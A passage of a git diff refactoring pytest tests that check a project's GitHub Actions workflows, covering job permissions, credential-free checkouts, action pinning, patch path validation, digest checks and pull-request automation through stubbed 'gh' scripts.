_step("build", "๐Ÿ“• Compile LaTeX document") - pre_compile = text(mapping(compile_step["with"])["pre_compile"]) - assert "SOURCE_DATE_EPOCH=${{ steps.epoch.outputs.epoch }}" in pre_compile - assert at(_workflow(), "jobs", "deploy", "timeout-minutes") == "30" +@pytest.mark.parametrize( + ("job", "permissions"), + [ + pytest.param("build", {"contents": "read"}, id="build"), + pytest.param("deploy", {"contents": "write", "pages": "read"}, id="deploy"), + ], +) +def test_job_holds_only_its_scope(workflow: JsonObject, job: str, permissions: JsonObject) -> None: + assert at(workflow, "jobs", job, "permissions") == permissions + + +@pytest.mark.parametrize( + ("job", "minutes"), + [ + pytest.param("build", "20", id="build"), + pytest.param("deploy", "30", id="deploy"), + ], +) +def test_job_bounds_its_runtime(workflow: JsonObject, job: str, minutes: str) -> None: + assert at(workflow, "jobs", job, "timeout-minutes") == minutes + + +def test_compile_step_pins_source_date_epoch(workflow: JsonObject) -> None: + compile_step = mapping(step(workflow, "build", "๐Ÿ“• Compile LaTeX document")["with"]) + assert "SOURCE_DATE_EPOCH=${{ steps.epoch.outputs.epoch }}" in text(compile_step["pre_compile"]) -def test_checkouts_keep_credentials_out_of_the_workspace() -> None: - workflow = _workflow() - for job in mapping(at(workflow, "jobs")): - checkouts = [ - item for item in steps(workflow, job) if text(item.get("uses", "")).startswith("actions/checkout@") - ] - assert [item["with"] for item in checkouts] == [{"persist-credentials": "false"}] +def test_checkouts_keep_credentials_out_of_the_workspace(workflow: JsonObject) -> None: + checkouts = [ + item + for job in mapping(at(workflow, "jobs")) + for item in steps(workflow, job) + if text(item.get("uses", "")).startswith("actions/checkout@") + ] + assert [item["with"] for item in checkouts] == [{"persist-credentials": "false"}, {"persist-credentials": "false"}] @pytest.mark.parametrize( - ("root_file", "pdf"), + ("root_file", "path", "name"), [ - pytest.param("main.tex", "main.pdf", id="root"), - pytest.param("doc/cv.tex", "cv.pdf", id="nested"), + pytest.param("main.tex", "main.pdf", "main.pdf", id="root"), + pytest.param("doc/cv.tex", "doc/cv.pdf", "cv.pdf", id="nested"), ], ) -def test_records_pdf_name_and_digest(tmp_path: Path, root_file: str, pdf: str) -> None: - (tmp_path / Path(root_file).parent).mkdir(parents=True, exist_ok=True) - (tmp_path / Path(root_file).with_suffix(".pdf")).write_bytes(b"pdf bytes") - output = tmp_path / "output" - result = workflow_step( - WORKFLOW, +def test_records_pdf_path_name_and_digest(tmp_path: Path, root_file: str, path: str, name: str) -> None: + (tmp_path / path).parent.mkdir(parents=True, exist_ok=True) + (tmp_path / path).write_bytes(b"pdf bytes") + result, outputs = run_workflow_step( + _WORKFLOW, "build", "๐Ÿ”Ž Record PDF name and digest", - tmp_path, - {"ROOT_FILE": root_file, "GITHUB_OUTPUT": str(output)}, + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"ROOT_FILE": root_file}, ) assert result.returncode == 0, result.stderr - fields = dict(line.split("=", 1) for line in output.read_text().splitlines()) - assert fields == { - "path": str(Path(root_file).with_suffix(".pdf")), - "name": Path(pdf).name, - "sha256": hashlib.sha256(b"pdf bytes").hexdigest(), - } + assert outputs == {"path": path, "name": name, "sha256": hashlib.sha256(b"pdf bytes").hexdigest()} def test_missing_pdf_fails_the_build(tmp_path: Path) -> None: - result = workflow_step( - WORKFLOW, + result, _ = run_workflow_step( + _WORKFLOW, "build", "๐Ÿ”Ž Record PDF name and digest", - tmp_path, - {"ROOT_FILE": "main.tex", "GITHUB_OUTPUT": str(tmp_path / "output")}, + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"ROOT_FILE": "main.tex"}, ) assert result.returncode != 0 @@ -117,25 +130,35 @@ def test_deploy_rejects_a_download_that_differs_from_the_build( ) -> None: (tmp_path / "built").mkdir() (tmp_path / "built/main.pdf").write_bytes(content) - result = workflow_step( - WORKFLOW, + result, _ = run_workflow_step( + _WORKFLOW, "deploy", "๐Ÿ” Check downloaded PDF digest", - tmp_path, - {"PDF_NAME": "main.pdf", "PDF_SHA256": hashlib.sha256(b"pdf bytes").hexdigest()}, + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"PDF_NAME": "main.pdf", "PDF_SHA256": hashlib.sha256(b"pdf bytes").hexdigest()}, ) assert (result.returncode == 0) is accepted, result.stderr +def test_verify_loop_accepts_the_served_bytes_it_built(tmp_path: Path, stubs: Path) -> None: + result = _verify(tmp_path, stubs, b"built pdf", hashlib.sha256(b"built pdf").hexdigest()) + assert result.returncode == 0, result.stderr + assert "Pages serves the freshly built PDF" in result.stdout + + def _verify(tmp_path: Path, stubs: Path, served: bytes, expected: str) -> subprocess.CompletedProcess[str]: served_file = tmp_path / "served.pdf" served_file.write_bytes(served) - return workflow_step( - WORKFLOW, + result, _ = run_workflow_step( + _WORKFLOW, "deploy", "๐Ÿ” Verify published PDF", - tmp_path, - { + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={ "GH_TOKEN": "token", "GITHUB_REPOSITORY": "owner/repo", "GITHUB_RUN_ID": "1", @@ -145,12 +168,7 @@ def _verify(tmp_path: Path, stubs: Path, served: bytes, expected: str) -> subpro "PATH": f"{stubs}:{os.environ['PATH']}", }, ) - - -def test_verify_loop_accepts_the_served_bytes_it_built(tmp_path: Path, stubs: Path) -> None: - result = _verify(tmp_path, stubs, b"built pdf", hashlib.sha256(b"built pdf").hexdigest()) - assert result.returncode == 0, result.stderr - assert "Pages serves the freshly built PDF" in result.stdout + return result def test_verify_loop_fails_when_pages_keeps_serving_other_bytes(tmp_path: Path, stubs: Path) -> None: diff --git a/tests/open_maintenance_pr/test_open.py b/tests/open_maintenance_pr/test_open.py index d7de441..1a8c2ef 100644 --- a/tests/open_maintenance_pr/test_open.py +++ b/tests/open_maintenance_pr/test_open.py @@ -1,24 +1,25 @@ -from __future__ import annotations - import hashlib import json import os import stat -import subprocess from pathlib import Path -from typing import TYPE_CHECKING +from typing import TYPE_CHECKING, Final import pytest -import yaml -from conftest import WORKFLOWS, run, run_workflow_step, workflow_step +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run, run_workflow_step, steps, text, workflow_step if TYPE_CHECKING: + import subprocess from collections.abc import Mapping -WORKFLOW = "open-maintenance-pr.yaml" -CHECK = "๐Ÿ” Check patch paths and modes" -APPLY = "โš™๏ธ Apply maintenance patch to a scratch index" -ALLOWED = "pylock.toml\npyproject.toml\ndiagrams/*.svg\n" +_WORKFLOW: Final[str] = "open-maintenance-pr.yaml" +_CHECK: Final[str] = "๐Ÿ” Check patch paths and modes" +_ALLOWED: Final[str] = "pylock.toml\npyproject.toml\ndiagrams/*.svg\n" + + +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) @pytest.fixture @@ -41,16 +42,40 @@ def repository(tmp_path: Path) -> Path: return repo +@pytest.mark.parametrize( + ("change", "mode", "accepted"), + [ + pytest.param({"pylock.toml": "changed\n"}, None, True, id="modify-allowed"), + pytest.param({"diagrams/new.svg": "\n"}, None, True, id="add-glob-match"), + pytest.param({"pyproject.toml": None}, None, True, id="delete-allowed"), + pytest.param({"docs/readme.md": "changed\n"}, None, False, id="modify-disallowed"), + pytest.param({"diagrams/a.txt": "changed\n"}, None, False, id="glob-misses-other-suffix"), + pytest.param({"pylock.toml": "x\n"}, 0o755, False, id="executable-mode"), + pytest.param({"pylockXtoml": "changed\n"}, None, False, id="dot-is-literal"), + ], +) +def test_check_accepts_only_allowed_regular_changes( + repository: Path, tmp_path: Path, change: dict[str, str | None], mode: int | None, accepted: bool +) -> None: + make_patch(repository, tmp_path, change, mode=mode) + result = check_patch(repository, tmp_path) + assert (result.returncode == 0) is accepted, result.stderr + + def make_patch(repo: Path, tmp_path: Path, change: Mapping[str, str | None], *, mode: int | None = None) -> Path: - for path, text in change.items(): + for path, content in change.items(): target = repo / path - if text is None: + if content is None: target.unlink() continue target.parent.mkdir(parents=True, exist_ok=True) - target.write_text(text) + target.write_text(content) if mode is not None: target.chmod(mode) + return stage_patch(repo, tmp_path) + + +def stage_patch(repo: Path, tmp_path: Path) -> Path: run(repo, "git", "add", "-A") patch = tmp_path / "maintenance-patch" / "maintenance.patch" patch.parent.mkdir(exist_ok=True) @@ -60,7 +85,17 @@ def make_patch(repo: Path, tmp_path: Path, change: Mapping[str, str | None], *, return patch -def values(tmp_path: Path, allowed: str = ALLOWED, **extra: str) -> dict[str, str]: +def check_patch(repo: Path, tmp_path: Path, allowed: str = _ALLOWED) -> subprocess.CompletedProcess[str]: + for name in ("โš™๏ธ Apply maintenance patch to a scratch index", _CHECK): + result, _ = run_workflow_step( + _WORKFLOW, "validate", name, cwd=repo, runner_temp=tmp_path, values=values(tmp_path, allowed), env={} + ) + if result.returncode: + return result + return result + + +def values(tmp_path: Path, allowed: str = _ALLOWED, **extra: str) -> dict[str, str]: return { "inputs.allowed-paths": allowed, "inputs.artifact-id": "1", @@ -75,55 +110,21 @@ def values(tmp_path: Path, allowed: str = ALLOWED, **extra: str) -> dict[str, st } | extra -def check_patch(repo: Path, tmp_path: Path, allowed: str = ALLOWED) -> subprocess.CompletedProcess[str]: - for name in (APPLY, CHECK): - result, _ = run_workflow_step( - WORKFLOW, "validate", name, cwd=repo, runner_temp=tmp_path, values=values(tmp_path, allowed) - ) - if result.returncode: - return result - return result - - -@pytest.mark.parametrize( - ("change", "mode", "accepted"), - [ - pytest.param({"pylock.toml": "changed\n"}, None, True, id="modify-allowed"), - pytest.param({"diagrams/new.svg": "\n"}, None, True, id="add-glob-match"), - pytest.param({"pyproject.toml": None}, None, True, id="delete-allowed"), - pytest.param({"docs/readme.md": "changed\n"}, None, False, id="modify-disallowed"), - pytest.param({"diagrams/a.txt": "changed\n"}, None, False, id="glob-misses-other-suffix"), - pytest.param({"pylock.toml": "x\n"}, 0o755, False, id="executable-mode"), - pytest.param({"pylockXtoml": "changed\n"}, None, False, id="dot-is-literal"), - ], -) -def test_check_accepts_only_allowed_regular_changes( - repository: Path, tmp_path: Path, change: dict[str, str | None], mode: int | None, accepted: bool -) -> None: - make_patch(repository, tmp_path, change, mode=mode) +def test_check_reports_a_disallowed_change_as_an_error(repository: Path, tmp_path: Path) -> None: + make_patch(repository, tmp_path, {"docs/readme.md": "changed\n"}) result = check_patch(repository, tmp_path) - assert (result.returncode == 0) == accepted, result.stderr - if not accepted: - assert "::error::" in result.stderr + assert "::error::" in result.stderr def test_check_rejects_symlink_replacing_a_regular_file(repository: Path, tmp_path: Path) -> None: (repository / "pylock.toml").unlink() (repository / "pylock.toml").symlink_to("pyproject.toml") - make_patch_from_working_tree(repository, tmp_path) + stage_patch(repository, tmp_path) result = check_patch(repository, tmp_path) assert result.returncode != 0 assert "unexpected maintenance path status T for pylock.toml" in result.stderr -def make_patch_from_working_tree(repo: Path, tmp_path: Path) -> None: - run(repo, "git", "add", "-A") - patch = tmp_path / "maintenance-patch" / "maintenance.patch" - patch.parent.mkdir(exist_ok=True) - patch.write_text(run(repo, "git", "diff", "--cached", "--binary", "--no-renames").stdout) - run(repo, "git", "reset", "-q", "--hard", "HEAD") - - def test_check_rejects_empty_patch(repository: Path, tmp_path: Path) -> None: patch = tmp_path / "maintenance-patch" / "maintenance.patch" patch.parent.mkdir() @@ -140,18 +141,19 @@ def test_check_rejects_empty_allowed_paths(repository: Path, tmp_path: Path) -> def test_writer_repeats_the_validation_step() -> None: - assert workflow_step(WORKFLOW, "validate", CHECK)["run"] == workflow_step(WORKFLOW, "open", CHECK)["run"] + assert workflow_step(_WORKFLOW, "validate", _CHECK)["run"] == workflow_step(_WORKFLOW, "open", _CHECK)["run"] def test_digest_step_records_sha256(repository: Path, tmp_path: Path) -> None: patch = make_patch(repository, tmp_path, {"pylock.toml": "x\n"}) result, outputs = run_workflow_step( - WORKFLOW, + _WORKFLOW, "validate", "โš™๏ธ Record the validated patch digest", cwd=repository, runner_temp=tmp_path, values=values(tmp_path), + env={}, ) assert result.returncode == 0, result.stderr assert outputs == {"sha256": hashlib.sha256(patch.read_bytes()).hexdigest()} @@ -160,36 +162,38 @@ def test_digest_step_records_sha256(repository: Path, tmp_path: Path) -> None: def test_writer_rejects_patch_that_differs_from_validated_digest(repository: Path, tmp_path: Path) -> None: make_patch(repository, tmp_path, {"pylock.toml": "x\n"}) result, _ = run_workflow_step( - WORKFLOW, + _WORKFLOW, "open", "๐Ÿ” Verify the validated patch digest", cwd=repository, runner_temp=tmp_path, values=values(tmp_path, **{"needs.validate.outputs.patch-sha256": "0" * 64}), + env={}, ) assert result.returncode != 0 -def fake_gh(bin_dir: Path) -> Path: - script = bin_dir / "gh" - script.write_text( - "#!/usr/bin/env bash\n" - '(IFS=$\'\\t\'; echo "$*") >>"$GH_LOG"\n' - 'case "$1" in\n' - 'api) cat "$FAKE_PULLS" ;;\n' - 'pr) if [[ "$2" == create ]]; then echo https://github.com/tox-dev/fixture/pull/21; fi ;;\n' - "esac\n" +def test_existing_pull_request_is_updated(repository: Path, tmp_path: Path) -> None: + result, outputs, calls = open_pull_request( + repository, tmp_path, [pull(17, repo="attacker/fork"), pull(18)], "skip news\n\ndependencies\n" ) - script.chmod(script.stat().st_mode | stat.S_IXUSR) - return bin_dir / "gh.log" + assert result.returncode == 0, result.stderr + assert outputs == {"number": "18"} + body = str(tmp_path / "pull-request.md") + assert calls == [ + ( + f"pr\tedit\t18\t--title\tMaintain things\t--body-file\t{body}" + "\t--add-label\tskip news\t--add-label\tdependencies" + ) + ] -def pull(number: int, *, branch: str = "automation/maintenance", repo: str = "tox-dev/fixture") -> dict[str, object]: +def pull(number: int, *, branch: str = "automation/maintenance", repo: str = "tox-dev/fixture") -> JsonObject: return {"number": number, "head": {"repo": {"full_name": repo}, "ref": branch}, "base": {"ref": "main"}} def open_pull_request( - repository: Path, tmp_path: Path, pulls: list[dict[str, object]], labels: str + repository: Path, tmp_path: Path, pulls: list[JsonObject], labels: str ) -> tuple[subprocess.CompletedProcess[str], dict[str, str], list[str]]: bin_dir = tmp_path / "bin" bin_dir.mkdir() @@ -198,7 +202,7 @@ def open_pull_request( pulls_file.write_text(json.dumps(pulls)) (tmp_path / "pull-request.md").write_text("Body.\n") result, outputs = run_workflow_step( - WORKFLOW, + _WORKFLOW, "open", "๐Ÿ”€ Write maintenance pull request", cwd=repository, @@ -214,19 +218,18 @@ def open_pull_request( return result, outputs, calls -def test_existing_pull_request_is_updated(repository: Path, tmp_path: Path) -> None: - result, outputs, calls = open_pull_request( - repository, tmp_path, [pull(17, repo="attacker/fork"), pull(18)], "skip news\n\ndependencies\n" +def fake_gh(bin_dir: Path) -> Path: + script = bin_dir / "gh" + script.write_text( + "#!/usr/bin/env bash\n" + '(IFS=$\'\\t\'; echo "$*") >>"$GH_LOG"\n' + 'case "$1" in\n' + 'api) cat "$FAKE_PULLS" ;;\n' + 'pr) if [[ "$2" == create ]]; then echo https://github.com/tox-dev/fixture/pull/21; fi ;;\n' + "esac\n" ) - assert result.returncode == 0, result.stderr - assert outputs == {"number": "18"} - body = str(tmp_path / "pull-request.md") - assert calls == [ - ( - f"pr\tedit\t18\t--title\tMaintain things\t--body-file\t{body}" - "\t--add-label\tskip news\t--add-label\tdependencies" - ) - ] + script.chmod(script.stat().st_mode | stat.S_IXUSR) + return bin_dir / "gh.log" def test_missing_pull_request_is_opened(repository: Path, tmp_path: Path) -> None: @@ -249,18 +252,31 @@ def test_multiple_open_pull_requests_fail(repository: Path, tmp_path: Path) -> N assert calls == [] -def test_only_the_writer_holds_the_app_token() -> None: - jobs = yaml.safe_load((WORKFLOWS / WORKFLOW).read_text())["jobs"] - token_jobs = { +def test_only_the_writer_holds_the_app_token(workflow: JsonObject) -> None: + assert { name - for name, job in jobs.items() - for step in job["steps"] - if step.get("uses", "").startswith("actions/create-github-app-token@") - } - assert token_jobs == {"open"} - assert jobs["validate"]["permissions"] == {"contents": "read"} - assert jobs["open"]["environment"] == "release-auth" - assert jobs["open"]["needs"] == "validate" - assert jobs["open"]["if"] == "needs.validate.result == 'success'" - names = [step.get("name") for step in jobs["open"]["steps"]] - assert names.index("๐Ÿ”‘ Create release App token") > names.index(CHECK) + for name in mapping(at(workflow, "jobs")) + for item in steps(workflow, name) + if text(item.get("uses", "")).startswith("actions/create-github-app-token@") + } == {"open"} + + +def test_validate_job_is_read_only(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "validate", "permissions") == {"contents": "read"} + + +@pytest.mark.parametrize( + ("key", "expected"), + [ + pytest.param("environment", "release-auth", id="environment"), + pytest.param("needs", "validate", id="needs"), + pytest.param("if", "needs.validate.result == 'success'", id="if"), + ], +) +def test_open_job_is_gated_on_a_clean_validation(workflow: JsonObject, key: str, expected: str) -> None: + assert at(workflow, "jobs", "open", key) == expected + + +def test_app_token_is_minted_after_the_check(workflow: JsonObject) -> None: + names = [item.get("name") for item in steps(workflow, "open")] + assert names.index("๐Ÿ”‘ Create release App token") > names.index(_CHECK) diff --git a/tests/prepare_jetbrains_post_release/test_post_release.py b/tests/prepare_jetbrains_post_release/test_post_release.py index 6d07cd6..6fbdd23 100644 --- a/tests/prepare_jetbrains_post_release/test_post_release.py +++ b/tests/prepare_jetbrains_post_release/test_post_release.py @@ -1,22 +1,17 @@ -from __future__ import annotations - import os import subprocess from pathlib import Path -from typing import Final import pytest from conftest import action, run -GH_STUB: Final[str] = "#!/usr/bin/env bash\necho 42\n" - @pytest.fixture def gh_stub(tmp_path: Path) -> Path: bin_dir = tmp_path / "bin" bin_dir.mkdir() script = bin_dir / "gh" - script.write_text(GH_STUB) + script.write_text("#!/usr/bin/env bash\necho 42\n") script.chmod(0o755) return bin_dir @@ -29,30 +24,6 @@ def plugin_repository(repository: Path) -> Path: return repository -def _prepare( - repository: Path, - tmp_path: Path, - action_scripts: Path, - gh_stub: Path, - tag: str, -) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: - outputs: dict[str, str] = {} - result = action( - repository, - tmp_path, - action_scripts, - "prepare-jetbrains-post-release", - outputs, - version=tag, - TAG=tag, - APP_SLUG="tox-dev-plugin-release", - GITHUB_TOKEN="token", - OUTPUT_DIR=str(tmp_path / "post-release"), - PATH=f"{gh_stub}:{os.environ['PATH']}", - ) - return result, outputs - - def test_commits_next_patch_version_and_writes_manifest( action_scripts: Path, plugin_repository: Path, @@ -81,6 +52,30 @@ def test_commits_next_patch_version_and_writes_manifest( ] +def _prepare( + repository: Path, + tmp_path: Path, + action_scripts: Path, + gh_stub: Path, + tag: str, +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + outputs: dict[str, str] = {} + result = action( + repository, + tmp_path, + action_scripts, + "prepare-jetbrains-post-release", + outputs, + version=tag, + TAG=tag, + APP_SLUG="tox-dev-plugin-release", + GITHUB_TOKEN="token", + OUTPUT_DIR=str(tmp_path / "post-release"), + PATH=f"{gh_stub}:{os.environ['PATH']}", + ) + return result, outputs + + def test_leaves_candidate_empty_when_version_already_matches( action_scripts: Path, plugin_repository: Path, diff --git a/tests/prepare_release_creator/test_release_creator.py b/tests/prepare_release_creator/test_release_creator.py index 210654f..765e5bb 100644 --- a/tests/prepare_release_creator/test_release_creator.py +++ b/tests/prepare_release_creator/test_release_creator.py @@ -1,48 +1,37 @@ -from __future__ import annotations - import os import subprocess import sys from pathlib import Path -from typing import Any import pytest -import yaml - -ROOT = Path(__file__).resolve().parents[2] +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, step, steps, text @pytest.fixture(scope="module") -def workflow() -> dict[Any, Any]: - return yaml.safe_load((ROOT / ".github/workflows/prepare-release-creator.yaml").read_text()) - +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "prepare-release-creator.yaml") -def step(workflow: dict[Any, Any], job: str, name: str) -> dict[Any, Any]: - return next(item for item in workflow["jobs"][job]["steps"] if item.get("name") == name) +def test_assemble_holds_no_write_token(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "assemble", "permissions") == {"contents": "read", "pull-requests": "read"} + assert at(workflow, "jobs", "push", "permissions") == {"contents": "read"} -def test_assemble_holds_no_write_token(workflow: dict[Any, Any]) -> None: - assert workflow["jobs"]["assemble"]["permissions"] == {"contents": "read", "pull-requests": "read"} - assert workflow["jobs"]["push"]["permissions"] == {"contents": "read"} - -def test_push_validates_before_minting_the_token(workflow: dict[Any, Any]) -> None: - names = [item.get("name") for item in workflow["jobs"]["push"]["steps"]] +def test_push_validates_before_minting_the_token(workflow: JsonObject) -> None: + names = [item.get("name") for item in steps(workflow, "push")] assert names.index("โš™๏ธ Apply release patch") < names.index("๐Ÿ”‘ Create release App token") assert names[-1] == "๐Ÿท๏ธ Commit and tag release" -def test_push_passes_resolved_release_paths_to_the_validator(workflow: dict[Any, Any]) -> None: - validate = next( - item for item in workflow["jobs"]["push"]["steps"] if item.get("uses") == "$/validate-release-patch" - ) +def test_push_passes_resolved_release_paths_to_the_validator(workflow: JsonObject) -> None: + validate = next(item for item in steps(workflow, "push") if item.get("uses") == "$/validate-release-patch") assert validate["with"] == {"allowed-paths": "${{ needs.assemble.outputs.release-paths }}"} -def test_every_external_action_is_sha_pinned(workflow: dict[Any, Any]) -> None: - uses = [item["uses"] for job in workflow["jobs"].values() for item in job["steps"] if "uses" in item] +def test_every_external_action_is_sha_pinned(workflow: JsonObject) -> None: + uses = [text(item["uses"]) for job in mapping(workflow["jobs"]) for item in steps(workflow, job) if "uses" in item] local = {value for value in uses if value.startswith("$/")} assert local == { @@ -54,82 +43,35 @@ def test_every_external_action_is_sha_pinned(workflow: dict[Any, Any]) -> None: assert all("@" in value and len(value.rsplit("@", 1)[1]) == 40 for value in uses if value not in local) -def test_inputs_match_the_documented_contract(workflow: dict[Any, Any]) -> None: - inputs = workflow[True]["workflow_call"]["inputs"] +def test_inputs_match_the_documented_contract(workflow: JsonObject) -> None: + inputs = mapping(at(workflow, "on", "workflow_call", "inputs")) - assert inputs["tag-format"]["default"] == "{version}" - assert inputs["package"]["default"] == "" - assert inputs["assemble-command"]["required"] is True - assert inputs["release-paths"]["required"] is True - assert inputs["cargo-set-version"]["default"] is False - assert inputs["cargo-set-version-args"]["default"] == "" - assert inputs["changelog"]["default"] == "CHANGELOG.md" + assert at(inputs, "tag-format", "default") == "{version}" + assert at(inputs, "package", "default") == "" + assert at(inputs, "assemble-command", "required") == "true" + assert at(inputs, "release-paths", "required") == "true" + assert at(inputs, "cargo-set-version", "default") == "false" + assert at(inputs, "cargo-set-version-args", "default") == "" + assert at(inputs, "changelog", "default") == "CHANGELOG.md" -def test_cargo_tools_install_only_for_a_cargo_bump(workflow: dict[Any, Any]) -> None: - gated = [item["name"] for item in workflow["jobs"]["assemble"]["steps"] if item.get("name", "").startswith("๐Ÿฆ€")] +def test_cargo_tools_install_only_for_a_cargo_bump(workflow: JsonObject) -> None: + cargo = [item for item in steps(workflow, "assemble") if text(item.get("name", "")).startswith("๐Ÿฆ€")] - assert gated == ["๐Ÿฆ€ Install Rust toolchain", "๐Ÿฆ€ Install cargo-edit"] - assert all( - item["if"] == "${{ inputs.cargo-set-version }}" - for item in workflow["jobs"]["assemble"]["steps"] - if item.get("name", "").startswith("๐Ÿฆ€") - ) + assert [item["name"] for item in cargo] == ["๐Ÿฆ€ Install Rust toolchain", "๐Ÿฆ€ Install cargo-edit"] + assert all(item["if"] == "${{ inputs.cargo-set-version }}" for item in cargo) -def test_format_retries_once_when_mdformat_rewrites(workflow: dict[Any, Any]) -> None: +def test_format_retries_once_when_mdformat_rewrites(workflow: JsonObject) -> None: first = step(workflow, "assemble", "๐Ÿงน Format changelog") second = step(workflow, "assemble", "๐Ÿงน Confirm changelog format") - assert first["continue-on-error"] is True + assert first["continue-on-error"] == "true" assert second["if"] == "${{ steps.format.outcome == 'failure' }}" - assert first["with"]["args"] == second["with"]["args"] - - -def _run_version( - repository: Path, tmp_path: Path, workflow: dict[Any, Any], **environment: str -) -> subprocess.CompletedProcess[str]: - script = step(workflow, "assemble", "๐Ÿท๏ธ Select release version")["run"] - output = tmp_path / "output" - output.touch() - values = {"BUMP": "minor", "PACKAGE": "", "TAG_FORMAT": "{version}", "CHANGELOG": "CHANGELOG.md"} | environment - return subprocess.run( - ["bash", "--noprofile", "--norc", "-e", "-o", "pipefail", "-c", script], - cwd=repository, - env={ - "PATH": f"{Path(sys.executable).parent}{os.pathsep}{os.environ['PATH']}", - "GITHUB_OUTPUT": str(output), - "RELEASE_PATHS": "CHANGELOG.md", - } - | values, - text=True, - capture_output=True, - check=False, - ) - - -def _outputs(path: Path) -> dict[str, str]: - scalars, _, paths = path.read_text().partition("release-paths< Path: - root = tmp_path / "repository" - root.mkdir() - git = ["git", "-c", "user.name=t", "-c", "user.email=t@example.org"] - subprocess.run([*git, "init", "-q", "-b", "main", str(root)], check=True) - (root / "CHANGELOG.md").write_text("# Changelog\n") - subprocess.run([*git, "-C", str(root), "add", "."], check=True) - subprocess.run([*git, "-C", str(root), "commit", "-qm", "init"], check=True) - for tag in ("1.0.0", "pyproject-fmt/1.0.0", "pyproject-fmt/1.0.3"): - subprocess.run([*git, "-C", str(root), "tag", tag], check=True) - return root + assert at(first, "with", "args") == at(second, "with", "args") -def test_unscoped_version_is_bare(repository: Path, tmp_path: Path, workflow: dict[Any, Any]) -> None: +def test_unscoped_version_is_bare(repository: Path, tmp_path: Path, workflow: JsonObject) -> None: result = _run_version(repository, tmp_path, workflow) assert result.returncode == 0, result.stderr @@ -137,7 +79,7 @@ def test_unscoped_version_is_bare(repository: Path, tmp_path: Path, workflow: di assert _outputs(tmp_path / "output")["number"] == "1.1.0" -def test_v_prefixed_tag_keeps_the_number_bare(repository: Path, tmp_path: Path, workflow: dict[Any, Any]) -> None: +def test_v_prefixed_tag_keeps_the_number_bare(repository: Path, tmp_path: Path, workflow: JsonObject) -> None: result = _run_version(repository, tmp_path, workflow, TAG_FORMAT="v{version}") assert result.returncode == 0, result.stderr @@ -146,7 +88,7 @@ def test_v_prefixed_tag_keeps_the_number_bare(repository: Path, tmp_path: Path, def test_scoped_tag_uses_the_package_and_its_own_history( - repository: Path, tmp_path: Path, workflow: dict[Any, Any] + repository: Path, tmp_path: Path, workflow: JsonObject ) -> None: result = _run_version( repository, tmp_path, workflow, PACKAGE="pyproject-fmt", BUMP="patch", TAG_FORMAT="{package}/{version}" @@ -157,7 +99,7 @@ def test_scoped_tag_uses_the_package_and_its_own_history( def test_scoped_v_tag_keeps_the_v_inside_the_package_path( - repository: Path, tmp_path: Path, workflow: dict[Any, Any] + repository: Path, tmp_path: Path, workflow: JsonObject ) -> None: result = _run_version( repository, tmp_path, workflow, PACKAGE="pyproject-fmt", BUMP="patch", TAG_FORMAT="{package}/v{version}" @@ -167,7 +109,7 @@ def test_scoped_v_tag_keeps_the_v_inside_the_package_path( assert _outputs(tmp_path / "output")["version"] == "pyproject-fmt/v1.0.4" -def test_release_paths_expand_the_package(repository: Path, tmp_path: Path, workflow: dict[Any, Any]) -> None: +def test_release_paths_expand_the_package(repository: Path, tmp_path: Path, workflow: JsonObject) -> None: result = _run_version( repository, tmp_path, @@ -193,9 +135,52 @@ def test_release_paths_expand_the_package(repository: Path, tmp_path: Path, work ], ) def test_bad_tag_format_stops_before_tagging( - repository: Path, tmp_path: Path, workflow: dict[Any, Any], environment: dict[str, str], message: str + repository: Path, tmp_path: Path, workflow: JsonObject, environment: dict[str, str], message: str ) -> None: result = _run_version(repository, tmp_path, workflow, **environment) assert result.returncode != 0 assert message in result.stderr + + +def _run_version( + repository: Path, tmp_path: Path, workflow: JsonObject, **environment: str +) -> subprocess.CompletedProcess[str]: + script = text(step(workflow, "assemble", "๐Ÿท๏ธ Select release version")["run"]) + output = tmp_path / "output" + output.touch() + values = {"BUMP": "minor", "PACKAGE": "", "TAG_FORMAT": "{version}", "CHANGELOG": "CHANGELOG.md"} | environment + return subprocess.run( + ["bash", "--noprofile", "--norc", "-e", "-o", "pipefail", "-c", script], + cwd=repository, + env={ + "PATH": f"{Path(sys.executable).parent}{os.pathsep}{os.environ['PATH']}", + "GITHUB_OUTPUT": str(output), + "RELEASE_PATHS": "CHANGELOG.md", + } + | values, + text=True, + capture_output=True, + check=False, + ) + + +def _outputs(path: Path) -> dict[str, str]: + scalars, _, paths = path.read_text().partition("release-paths< Path: + root = tmp_path / "repository" + root.mkdir() + git = ["git", "-c", "user.name=t", "-c", "user.email=t@example.org"] + subprocess.run([*git, "init", "-q", "-b", "main", str(root)], check=True) + (root / "CHANGELOG.md").write_text("# Changelog\n") + subprocess.run([*git, "-C", str(root), "add", "."], check=True) + subprocess.run([*git, "-C", str(root), "commit", "-qm", "init"], check=True) + for tag in ("1.0.0", "pyproject-fmt/1.0.0", "pyproject-fmt/1.0.3"): + subprocess.run([*git, "-C", str(root), "tag", tag], check=True) + return root diff --git a/tests/publish_pre_commit_mirror/test_mirror.py b/tests/publish_pre_commit_mirror/test_mirror.py index e51c3d0..40c71cf 100644 --- a/tests/publish_pre_commit_mirror/test_mirror.py +++ b/tests/publish_pre_commit_mirror/test_mirror.py @@ -1,30 +1,21 @@ -from __future__ import annotations - import os -import subprocess from pathlib import Path from typing import Final import pytest -from conftest import JsonObject, at, load_yaml, mapping, run, step, steps, text, workflow_step - -WORKFLOW: Final[str] = "publish-pre-commit-mirror.yaml" -ROOT: Final = Path(__file__).resolve().parents[2] -PREK_STUB: Final[str] = """\ -#!/usr/bin/env bash -count=$(cat "$RUNNER_TEMP/prek-count" 2>/dev/null || echo 0) -echo $((count + 1)) >"$RUNNER_TEMP/prek-count" -read -r -a statuses <<<"$PREK_STATUSES" -exit "${statuses[count]}" -""" - +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run, run_workflow_step, step, steps, text -def _workflow() -> JsonObject: - return load_yaml(ROOT / ".github/workflows" / WORKFLOW) 